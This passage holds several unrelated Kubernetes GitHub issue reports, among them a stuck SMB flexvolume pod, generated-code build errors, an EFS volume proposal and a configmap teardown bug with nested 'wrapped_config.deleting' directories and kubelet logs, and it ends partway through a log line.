<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r pod could not be terminated when pod volume path is corrupted, and it looks like it mainly affect flexvolume, not sure\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a pod with smb mount  we use flexvol in this case, driver is  here  https://github.com/azure/kubernetes-volume-drivers/tree/master/flexvolume/smb  \r 2. change smb server password\r 3. delete the pod\r 4. pod could not be terminated   forever  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign\r \r cc @jingxu97 @msau42 @davidz627

repro: in clean branch  sync to head :      $ hooks/pre-commit checking that it builds... ok  checking for files that need gofmt... ok  checking for files that need boilerplate... ok  checking for api descriptions... ok  checking for docs that need updating... ok  checking for conversions that need updating... error! some conversions functions need regeneration. to regenerate conversions, run:   hack/update-generated-conversions.sh  checking for deep-copies that need updating... error! some deep-copy functions need regeneration. to regenerate deep-copies, run:   hack/update-generated-deep-copies.sh  checking for swagger spec that need updating... ok  aborting commit      running the suggested commands modifies  pkg/api/v1/conversion_generated.go  and  pkg/api/v1/deep_copy_generated.go   diff here: https://gist.github.com/timstclair/519cfc2796176ef4ee99 , but then there are build errors:      +++  0717 17:06:14  building apiserver +++  0717 17:06:15  building go targets for linux/amd64:     cmd/kube-apiserver +++  0717 17:06:15  +++ warning: stdlib pkg with cgo flag not found. +++  0717 17:06:15  +++ warning: stdlib pkg cannot be rebuilt since /usr/lib/google-golang/pkg is not writable by stclair +++  0717 17:06:15  +++ warning: make /usr/lib/google-golang/pkg writable for stclair for a one-time stdlib install, or +++  0717 17:06:15  +++ warning: rebuild stdlib using the command 'cgo_enabled=0 go install -a -installsuffix cgo std' +++  0717 17:06:15  +++ falling back to go build, which is slower       github.com/googlecloudplatform/kubernetes/pkg/api/v1 _output/local/go/src/github.com/googlecloudplatform/kubernetes/pkg/api/v1/conversion_generated.go:1475: convert_api_podspec_to_v1_podspec redeclared in this block     previous declaration at _output/local/go/src/github.com/googlecloudplatform/kubernetes/pkg/api/v1/conversion.go:231 _output/local/go/src/github.com/googlecloudplatform/kubernetes/pkg/api/v1/conversion_generated.go:3787: convert_v1_podspec_to_api_podspec redeclared in this block     previous declaration at _output/local/go/src/github.com/googlecloudplatform/kubernetes/pkg/api/v1/conversion.go:295 !!! error in /usr/local/google/home/stclair/k8s/hack/lib/golang.sh:365   'cgo_enabled=0 go build -o \ ${outfile}\  \ ${goflags @ :+${goflags @ }}\  -ldflags \ ${version_ldflags}\  \ ${binary}\ ' exited with status 2 call stack:   1: /usr/local/google/home/stclair/k8s/hack/lib/golang.sh:365 kube::golang::build_binaries_for_platform ...    2: /usr/local/google/home/stclair/k8s/hack/lib/golang.sh:521 kube::golang::build_binaries ...    3: /usr/local/google/home/stclair/k8s/hack/build-go.sh:26 main ...  exiting with status 1 !!! error in /usr/local/google/home/stclair/k8s/hack/lib/golang.sh:439   '  kube::golang::setup_env; local version_ldflags; version_ldflags=$ kube::version::ldflags ; local host_platform; host_platform=$ kube::golang::host_platform ; local goflags; eval \ goflags= ${kube_goflags:-} \ ; local use_go_build; local -a targets=  ; local arg; for arg in \ $@\ ; do     if    \ ${arg}\  == \ --use_go_build\    ; then         use_go_build=true;     else         if    \ ${arg}\  == -    ; then             goflags+= \ ${arg}\  ;         else             targets+= \ ${arg}\  ;         fi;     fi; done; if    ${ targets @ } -eq 0   ; then     targets= \ ${kube_all_targets @ }\  ; fi; local -a platforms= \ ${kube_build_platforms @ :+${kube_build_platforms @ }}\  ; if    ${ platforms @ } -eq 0   ; then     platforms= \ ${host_platform}\  ; fi; local binaries; binaries= $ kube::golang::binaries_from_targets \ ${targets @ }\   ; local parallel=false; if    ${ platforms @ } -gt 1   ; then     local gigs; gigs=$ kube::golang::get_physmem ; if    ${gigs} -gt ${kube_parallel_build_memory}   ; then         kube::log::status \ multiple platforms requested and available ${gigs}g > threshold ${kube_parallel_build_memory}g, building platforms in parallel\ ; parallel=true;     else         kube::log::status \ multiple platforms requested, but available ${gigs}g < threshold ${kube_parallel_build_memory}g, building platforms in serial\ ; parallel=false;     fi; fi; if    \ ${parallel}\  == \ true\    ; then     kube::log::status \ building go targets for ${platforms @ } in parallel  output will appear in a burst when complete :\  \ ${targets @ }\ ; local platform; for platform in \ ${platforms @ }\ ;     do           kube::golang::set_platform_envs \ ${platform}\ ; kube::log::status \ ${platform}: go build started\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-}; kube::log::status \ ${platform}: go build finished\    &> \ /tmp//${platform//\\//_}.build\  &     done; local fails=0; for job in $ jobs -p ;     do         wait ${job} || let \ fails+=1\ ;     done; for platform in \ ${platforms @ }\ ;     do         cat \ /tmp//${platform//\\//_}.build\ ;     done; exit ${fails}; else     for platform in \ ${platforms @ }\ ;     do         kube::log::status \ building go targets for ${platform}:\  \ ${targets @ }\ ; kube::golang::set_platform_envs \ ${platform}\ ; kube::golang::build_binaries_for_platform ${platform} ${use_go_build:-};     done; fi  ' exited with status 1 call stack:   1: /usr/local/google/home/stclair/k8s/hack/lib/golang.sh:439 kube::golang::build_binaries ...    2: /usr/local/google/home/stclair/k8s/hack/build-go.sh:26 main ...  exiting with status 1 !!! error in hack/update-swagger-spec.sh:40   '\ ${kube_root}/hack/build-go.sh\  cmd/kube-apiserver' exited with status 1 call stack:   1: hack/update-swagger-spec.sh:40 main ...  exiting with status 1 +++  0717 17:06:20  clean up complete

as part of node / guest image validation, we need to make sure the most popular images can running successfully on the node. the belowing are the top 32 oss applications people came up a while ago. since not all of them have reliable working image, i put them into two big buckets:  oss applications with reliable image  > 15 stars from docker hub   1  database: mysql, mongodb, redis, cassandra, postgres 2  messaging: rabbitmq 3  cms: wordpress, joomla, drupal, moodle, media wiki 4  big data: hadoop, spark 5  commerce: magento 6  web serving: haproxy, lamp stack, ruby stack 7  development: gitlab, redmine, jenkins  8  infrastructure: zookeeper, memcache,  docker 9  web serving: node.js, django stack, tomcat, jboss,  10  search: solr  oss applications without reliable image  <=15 stars from docker hub  1  saas: sugarcrm 2  devops: salt, chef, puppet  cc/ @andyzheng0831 @bgrant0607 @thockin @mikedanese: we discussed this before cc/ @kubernetes/goog-node: eventually we should automate the image validation process and include some of them or all to our node acceptance tests

in http://kubernetes.io/docs/user-guide/secrets/ secret-and-pod-lifetime-interaction, there is mention of using  rolling-update  in order to update the secrets in some pods, but there is no language for what to do for pods controlled by a deployment. it would be nice for it to have some.  i'm not actually sure what that deployment language would be, however. perhaps one of y'all do.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/34365/kubernetes-pull-build-test-e2e-gce/62253/  failed:  k8s.io  resourcequota should create a resourcequota and capture the life of a replication controller. {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:268 expected error:     < errors.errorstring | 0xc8200e17d0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:258      happened on a presubmit run in  34365.

overview.\r \r some services are extremely well suited for use in efs especially stateful sets  elasticsearch, kafka . also addressing the messiness of all the helm charts creating 1gb pvc's which aws users have to create ebs volumes for.\r \r efs nfs targets have previously required the az name in the target. this doesn't seem to be a requirement any longer. the target name is now of the following shape:  <efs-id>.efs.<region>.amazon.com . \r \r this makes efs useable as an nfs target realistically today as the target can float across failure domains. this also somewhat simplifies the work required for this feature. \r \r   how we use efs in our clusters. \r \r our clusters currently use efs in two ways. we have a  /data  directory and a  /meta  directory. the efs drive is mounted at  /cluster  across the worker and control plane in the cluster. \r \r we have a mixture of efs and ebs volumes in our clusters -- some of the ebs volumes should be run under efs but we couldn't find a way to achieve it  these are standard nfs / docker issues . we manually create the directories following a naming scheme and use host paths for them in containers. this has the potential for race conditions with deployments -- so we currently follow conventions for making use of the drive  deployment size always 1, destroy deployment on update . we now use statefull sets for the deterministic semantics. sufficed to say we can't use this pattern for >1 replica statefulsets.\r \r   proposal for statefull sets.\r \r i propose support for automatic requisition of pvc's in efs drives. a pvc in this case would just be a directory inside an efs drive. the path exists of two parts, the base which is a cluster wide configuration and the per-volume part which is specified in the pvct. \r \r    deriving / configuring base part:\r \r this signifies the efs drive the cluster should use and where the cluster specific partitioning should occur. this is to support multiple clusters per efs drive as well as giving the administrator an opportunity to use the efs drive for other purposes.\r \r we could use a tag of the form \ kubernetescluster\  : \ <cluster_name>:/<cluster_name>/data\ . \r \r the value is a comma separated list. \r \r the first part in the value is the cluster id, the second part is a user specified location where partitioning can begin.\r \r    deriving the pvct part.\r \r the suffix of the efs storage path can be derived off the namespace name  or stateful set domain ?  , the container name and the stateful set ordinal. \r \r    kubernetes mechanics:\r \r an aws controller that manages discovering the efs drives. it ensures the target path is present on the drive. this might just end up being a simple specialisation to the existing nfs controller. \r \r   related issues: \r \r https://github.com/kubernetes/kubernetes/issues/28226\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r api cluster name, api get cluster name, cluster name programatically \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r i want to get the name of the current kubernetes cluster from the api so i can make it available in helm. my usecase is, that i want to annotate automatic backups with the clustername so i don't get name conflicts.\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r wrapped_wrapped_config.deleting\r nestedpendingoperations.go:262  operation for \r orphaned pod \ 093d24a2-217b-11e7-bd06-fefcfe4a4403\  found, but error <nil> occured during reading volume dir from disk\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug repor\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r kubernetes v1.5.5-beta.0.70\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r linux 3.10.0-514.6.1.el7\r \r   what happened  :\r    \r node-fefcfe0d619d ~   ls /var/lib/kubelet/pods/02f40e87-221c-11e7-8733-fefcfe0d619d/volumes/kubernetes.io~configmap/\r display all 129260 possibilities?  y or n \r config/\r wrapped_config.deleting~025029588/\r wrapped_config.deleting~075950582/\r wrapped_config.deleting~103196392/\r wrapped_config.deleting~106457420/\r wrapped_config.deleting~118836248/\r wrapped_config.deleting~308992299/\r wrapped_config.deleting~320943260/\r wrapped_config.deleting~370338923/\r wrapped_config.deleting~421704642/\r wrapped_config.deleting~464993342/\r wrapped_config.deleting~505572631/\r wrapped_config.deleting~575399831/\r wrapped_config.deleting~589763737/\r wrapped_config.deleting~622687858/\r wrapped_config.deleting~642138182/\r wrapped_config.deleting~958257997/\r wrapped_config.deleting~969893512/\r wrapped_wrapped_config.deleting~025029588.deleting~099979765/\r wrapped_wrapped_config.deleting~025029588.deleting~104465935/\r wrapped_wrapped_config.deleting~025029588.deleting~119795677/\r wrapped_wrapped_config.deleting~025029588.deleting~200222308/\r wrapped_wrapped_config.deleting~025029588.deleting~271219670/\r wrapped_wrapped_config.deleting~025029588.deleting~364977448/\r wrapped_wrapped_config.deleting~025029588.deleting~369369574/\r wrapped_wrapped_config.deleting~025029588.deleting~383920378/\r wrapped_wrapped_config.deleting~025029588.deleting~510601729/\r wrapped_wrapped_config.deleting~025029588.deleting~548930935/\r wrapped_wrapped_config.deleting~025029588.deleting~564129917/\r wrapped_wrapped_config.deleting~025029588.deleting~619744720/\r wrapped_wrapped_config.deleting~025029588.deleting~685760477/\r wrapped_wrapped_config.deleting~025029588.deleting~967917143/\r wrapped_wrapped_config.deleting~025029588.deleting~980276215/\r wrapped_wrapped_config.deleting~075950582.deleting~028398306/\r wrapped_wrapped_config.deleting~075950582.deleting~186650558/\r wrapped_wrapped_config.deleting~075950582.deleting~189159731/\r wrapped_wrapped_config.deleting~075950582.deleting~194185928/\r wrapped_wrapped_config.deleting~075950582.deleting~241095362/\r wrapped_wrapped_config.deleting~075950582.deleting~258708935/\r wrapped_wrapped_config.deleting~075950582.deleting~317965778/\r wrapped_wrapped_config.deleting~075950582.deleting~395113155/\r wrapped_wrapped_config.deleting~075950582.deleting~400193975/\r wrapped_wrapped_config.deleting~075950582.deleting~429096626/\r wrapped_wrapped_config.deleting~075950582.deleting~483942019/\r wrapped_wrapped_config.deleting~075950582.deleting~596921107/\r wrapped_wrapped_config.deleting~075950582.deleting~646522639/\r wrapped_wrapped_config.deleting~075950582.deleting~850851889/\r wrapped_wrapped_config.deleting~075950582.deleting~987834772/\r wrapped_wrapped_config.deleting~103196392.deleting~029501200/\r wrapped_wrapped_config.deleting~103196392.deleting~094341684/\r .....\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~393978569.deleting~818040227\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~393978569.deleting~981492959\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~680061317.deleting~144232594\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~680061317.deleting~547127251\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~680061317.deleting~722992509\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~680061317.deleting~723567056\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~680061317.deleting~838147840\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~680061317.deleting~954389890\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~705370777.deleting~063569690\r wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~066261799.deleting~310677009.deleting~074251941.deleting~705370777.deleting~090757607\r ....\r \r \r node-fefcfe0d619d ~   top\r top - 10:14:32 up 13:26,  4 users,  load average: 3.42, 3.80, 4.07\r tasks: 276 total,   2 running, 274 sleeping,   0 stopped,   0 zombie\r %cpu s : 50.3 us,  5.1 sy,  0.0 ni, 44.3 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\r kib mem :  8175320 total,   261332 free,  5446096 used,  2467892 buff/cache\r kib swap: 13679340 total, 13399132 free,   280208 used.  2233264 avail mem \r \r   pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command                                                                                                                                                                                                  \r  1842 root      20   0 76.376g 3.674g  13960 s 183.4 47.1 288:44.17 hyperkube                                                                                                                                                                                                \r  3470 root      20   0 10.076g  42840   5132 s   3.6  0.5   8:22.48 etcd                                                                                                                                                                                                     \r 29835 root      20   0 3016056  67600   6656 s   3.0  0.8   3:06.88 dockerd                                                                                                                                                                                                  \r  4726 root      20   0  714180 167652  15204 s   2.3  2.1   6:00.16 hyperkube                                                                                                                                                                                                \r  1801 root      20   0  562396  15956   4756 s   1.7  0.2   5:18.18 kloudlet                                                                                                                                                                                                 \r  3362 root      20   0   22284   1452    840 s   1.3  0.0   5:18.77 sangfor_guest_d                                                                                                                                                                                          \r 22008 root      20   0  508472  55228  23256 s   1.0  0.7   0:29.63 hyperkube                                                                                                                                                                                                \r  3103 root      20   0  553352  22848   6096 s   0.7  0.3   1:41.08 kontroller                                                                                                                                                                                               \r  3318 root      20   0  510064  35952  10212 s   0.7  0.4   0:19.75 hyperkube                                                                                                                                                                                                \r  3363 root      20   0   22644   1584    596 s   0.7  0.0   3:03.11 sangfor_sfping                                                                                                                                                                                           \r 22795 root      20   0  428644  29176  14432 s   0.7  0.4   0:20.30 k8sbackend                                                                                                                                                                                               \r     9 root      20   0       0      0      0 s   0.3  0.0   1:30.90 rcu_sched                                                                                                                                                                                                \r  3360 root      20   0   22692   1640    500 s   0.3  0.0   1:32.46 sangfor_vm_prox                                                                                                                                                                                          \r  3361 root      20   0   22912   1608    720 s   0.3  0.0   0:06.94 sangfor_module_                                                                                                                                                                                          \r  3451 root      20   0   22532   1312    452 s   0.3  0.0   1:45.85 sangfor_vm_prox                                                                                                                                                                                          \r  3577 root      20   0   22792   1756    628 s   0.3  0.0   2:53.16 sangfor_update_                                                                                                                                                                                          \r  3601 root      20   0   22364   1556    660 s   0.3  0.0   0:58.78 sangfor_watchdo                                                                                                                                                                                          \r  3671 root      20   0  406596  16044   4292 s   0.3  0.2   0:21.89 kedger                                                                                                                                                                                                   \r  3828 root      20   0  441356  27860  10900 s   0.3  0.3   0:20.41 hyperkube                                                                                                                                                                                                \r  6881 root      20   0   40456  26908   3700 s   0.3  0.3   0:14.36 influxd                                                                                                                                                                                                  \r  7372 root      20   0  170968  60204   2528 s   0.3  0.7   1:16.07 fluentd                                                                                                                                                                                                  \r 20924 root      20   0   23708   1872   1176 r   0.3  0.0   0:00.06 top           \r \r \r node-4800025720174 ~   tail -f /sf/k8s/var/log/kubelet/hyperkube.info \r e0415 23:37:13.924417    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~642564357.deleting~609749658.deleting~226719197.deleting~900877929\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.424319444 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~642564357.deleting~609749658.deleting~226719197.deleting~900877929\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~642564357.deleting~609749658.deleting~226719197.deleting~900877929\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~642564357.deleting~609749658.deleting~226719197.deleting~900877929 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~642564357.deleting~609749658.deleting~226719197.deleting~900877929.deleting~276433375: file exists\r e0415 23:37:13.941351    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~641414543.deleting~252759659.deleting~190489061.deleting~041788104.deleting~582443832\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.441244657 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~641414543.deleting~252759659.deleting~190489061.deleting~041788104.deleting~582443832\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~641414543.deleting~252759659.deleting~190489061.deleting~041788104.deleting~582443832\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~641414543.deleting~252759659.deleting~190489061.deleting~041788104.deleting~582443832 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~641414543.deleting~252759659.deleting~190489061.deleting~041788104.deleting~582443832.deleting~225819573: file exists\r e0415 23:37:13.961706    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~719583763.deleting~224186191.deleting~112282208.deleting~604889212.deleting~316697472.deleting~785641811\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.461606372 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~719583763.deleting~224186191.deleting~112282208.deleting~604889212.deleting~316697472.deleting~785641811\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~719583763.deleting~224186191.deleting~112282208.deleting~604889212.deleting~316697472.deleting~785641811\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~719583763.deleting~224186191.deleting~112282208.deleting~604889212.deleting~316697472.deleting~785641811 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~719583763.deleting~224186191.deleting~112282208.deleting~604889212.deleting~316697472.deleting~785641811.deleting~049605554: file exists\r e0415 23:37:13.975613    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~519155272.deleting~724030307.deleting~732351748.deleting~672496163.deleting~492403140.deleting~026478122.deleting~554813109\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.475487268 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~519155272.deleting~724030307.deleting~732351748.deleting~672496163.deleting~492403140.deleting~026478122.deleting~554813109\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~519155272.deleting~724030307.deleting~732351748.deleting~672496163.deleting~492403140.deleting~026478122.deleting~554813109\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~519155272.deleting~724030307.deleting~732351748.deleting~672496163.deleting~492403140.deleting~026478122.deleting~554813109 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~695611698.deleting~519155272.deleting~724030307.deleting~732351748.deleting~672496163.deleting~492403140.deleting~026478122.deleting~554813109.deleting~728843152: file exists\r e0415 23:37:13.990229    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~088765217.deleting~300739062.deleting~882905082.deleting~024205439.deleting~878050867.deleting~049478054\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.490122044 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~088765217.deleting~300739062.deleting~882905082.deleting~024205439.deleting~878050867.deleting~049478054\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~088765217.deleting~300739062.deleting~882905082.deleting~024205439.deleting~878050867.deleting~049478054\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~088765217.deleting~300739062.deleting~882905082.deleting~024205439.deleting~878050867.deleting~049478054 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~088765217.deleting~300739062.deleting~882905082.deleting~024205439.deleting~878050867.deleting~049478054.deleting~995445609: file exists\r e0415 23:37:14.004215    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~381875998.deleting~523084498.deleting~752008555.deleting~651845742.deleting~588594308.deleting~764028577.deleting~173644445.deleting~510702674\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.504104161 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~381875998.deleting~523084498.deleting~752008555.deleting~651845742.deleting~588594308.deleting~764028577.deleting~173644445.deleting~510702674\   volume.spec.name: \ wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~381875998.deleting~523084498.deleting~752008555.deleting~651845742.deleting~588594308.deleting~764028577.deleting~173644445.deleting~510702674\   pod \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   uid: \ c15dca04-216f-11e7-bd06-fefcfe4a4403\   with: rename /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~381875998.deleting~523084498.deleting~752008555.deleting~651845742.deleting~588594308.deleting~764028577.deleting~173644445.deleting~510702674 /var/lib/kubelet/pods/c15dca04-216f-11e7-bd06-fefcfe4a4403/volumes/kubernetes.io~configmap/wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~381875998.deleting~523084498.deleting~752008555.deleting~651845742.deleting~588594308.deleting~764028577.deleting~173644445.deleting~510702674.deleting~932756911: file exists\r e0415 23:37:14.017700    4970 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~223145252.deleting~953831573.deleting~066621341.deleting~006195060.deleting~072738773.deleting~610429025.deleting~480411910\\\   \\\ c15dca04-216f-11e7-bd06-fefcfe4a4403\\\  \  failed. no retries permitted until 2017-04-15 23:37:14.517568718 +0800 cst  durationbeforeretry 500ms . error: unmountvolume.teardown failed for volume \ kubernetes.io/configmap/c15dca04-216f-11e7-bd06-fefcfe4a4403-wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_wrapped_config.deleting~514849292.deleting~223145252.deleting~953831573.deleting~066621341.deleting~006195060.deleting~072738773.deleting~610429025.deleting~480411910\   volume.spec.name: 